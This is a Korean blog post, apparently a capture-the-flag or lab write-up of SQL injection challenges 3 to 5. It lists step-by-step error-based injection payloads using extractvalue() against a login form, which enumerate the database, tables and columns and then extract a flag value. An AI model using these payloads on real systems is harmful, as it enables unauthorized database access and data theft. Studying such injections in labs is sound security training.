SQL injection3,4,5

황인환·2024년 6월 25일

4,5번도 동일한 방법으로 해결가능

SQL injection 가능한지 판단

  • ' and '1' = '1 포함해서 로그인
    -> 주어진것 => ID: normaltic PW: 1234
    -> True(1=1)와 False(1=2)구분되어야함
    -> True(1=1) 값을 넣었지만 False나옴
    -> 불가능
normaltic' and '1' = '1Result(True)
normaltic' and '1' = '2Result(False)
  • normaltic' and (1=1) and '1' = '1포함하여 로그인
    -> 함수를 넣을 수 있는지 추가적인 확인
    -> True False 테스트
    -> (1=1) -> (1=2) 바꿔서 로그인시도
normaltic' and (1=1) and '1' = '1Result(True)
normaltic' and (1=2) and '1' = '1Result(False)

에러메시지 및 필터링테스트

  • ((select 'test')='test') 넣어서 로그인
    -> ((select 'test')='test')는 True
    -> 로그인 된다면 select필터링 x
normaltic' and ((select 'test')='test') and '1' = '1Result(True)
normaltic' and ((select 'test')='tst') and '1' = '1Result(False)
  • 에러메시지 표시되는지 확인
    -> SQL문 SQL syntax에러 유발
syntax있는 SQL문Result

함수넣어서 확인

  • extractvalue() 넣어서 테스트
    -> 에러메시지가 발생하는지 확인
normaltic' and extractvalue(1=1) and '1' = '1Result

Database 이름 도출

- database()입력 in extractvalue
-> normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1' = '1 로그인

normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1' = '1DB이름 도출

Table 이름 도출

  • select table_name from information_schema.tables where table_schema='DB이름'
    -> normaltic'and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2'))) and '1' = '1 로그인
normaltic'and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2'))) and '1' = '1Result

-more then 1 row
-> 1행보다 많아 표시 할수 없다는 표시
-> limit으로 해결
-> limit 0,1 -> limit 1,1 -> limit 2,1 ->....

normaltic'and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1))) and '1' = '1Result

Column 이름 도출

  • select column_name from information_schema.columns where table_schema='DB이름'
    -> normaltic'and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_schema='sqli_2' limit 0,1))) and '1' = '1 로그인
normaltic'and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_schema='sqli_2' limit 0,1))) and '1' = '1Result

Extract

  • select 도출된 Column이름 from 도출된 Table이름 로그인
    ->normaltic'and extractvalue('1', concat(0x3a, (select flag from flag_table limit 0,1))) and '1' = '1
normaltic'and extractvalue('1', concat(0x3a, (select flag from flag_table limit 0,1))) and '1' = '1Result

0개의 댓글